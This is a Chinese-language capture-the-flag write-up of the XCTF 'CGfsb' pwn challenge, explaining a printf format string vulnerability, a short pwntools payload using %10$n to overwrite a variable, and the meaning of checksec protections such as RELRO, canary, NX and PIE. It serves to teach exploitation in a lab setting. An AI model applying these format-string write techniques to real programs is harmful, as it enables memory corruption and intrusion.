XCTF-CGfsb

考察知识点

PWN、格式化字符串漏洞

题目链接 https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050&page=1

解题步骤

放到linux更改权限运行试一下,看出来是一个输入输出信息的程序

查看一下文件的相关信息,可以发现开启了canary和nx,不能进行返回地址直接覆盖和shellcode

用IDApro打开,反编译一下查看main函数

如果pwnme为8则可以得到flag

其中该程序中的printf()有两种写法,即printf('格式化字符串','参数')(正确)和printf(&s)(错误,存在格式化字符串漏洞),尝试输入aaaa,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x或者aaaa,%10$x,可以发现aaaa偏移了10位,61616161即为aaaa的位置

利用%n参数可以把pwnme的值改为8得到flag

思路:

把pwnme得知输入到s,在适当位置添加%n,使输入地址对应输出的位置

使用pwntools构造payload

from pwn import *

#p32打包后为4位,再加上aaaa构成8位
payload = p32(0x0804A068) + b'aaaa' + b'%10$n'

p = process('./CGfsb')#本地
p = remote('111.200.241.244',53591)#远程
p.sendlineafter('tell me your name:','abcd')
p.sendlineafter('your message please:',payload)
p.interactive()

pwntool官方文档https://pwntools.readthedocs.io/en/stable/globals.html

运行结果

知识点

checksec结果参数

Arch:

程序架构信息。判断是拖进64位IDA还是32位,exp编写时p64还是p32函数

RELRO

Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o hello test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

gcc -fno-stack-protector -o hello test.c   //禁用栈保护
gcc -fstack-protector -o hello test.c    //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c  //启用堆栈保护,为所有函数插入保护代码

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过

gcc -o  hello test.c // 默认情况下,开启NX保护
gcc -z execstack -o  hello test.c // 禁用NX保护
gcc -z noexecstack -o  hello test.c // 开启NX保护

PIE

PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着, 在 PIE 和 ASLR 同时开启的情况下, 攻击者将对程序的内存布局一无所知, 传统的改写GOT 表项的方法也难以进行, 因为攻击者不能获得程序的.got 段的虚地址。 若开启一般需在攻击时泄露地址信息

checksec信息参考:https://www.jianshu.com/p/755e52d48a77

printf %n参数

格式化中,%n可以将它前面已打印的字符个数赋值给后面它对应的参数

#include <stdio.h>
int main(){
int val;
printf(“blah %n blah\n”, &val);
printf(“val = %d\n”, val);
return 0;
}
output:
blah blah
val = 5

%n前的字符个数为5,所以将5赋值给了val,windows禁止此项操作

posted @ 2021-11-24 16:36  JICEY  阅读(436)  评论(0编辑  收藏  举报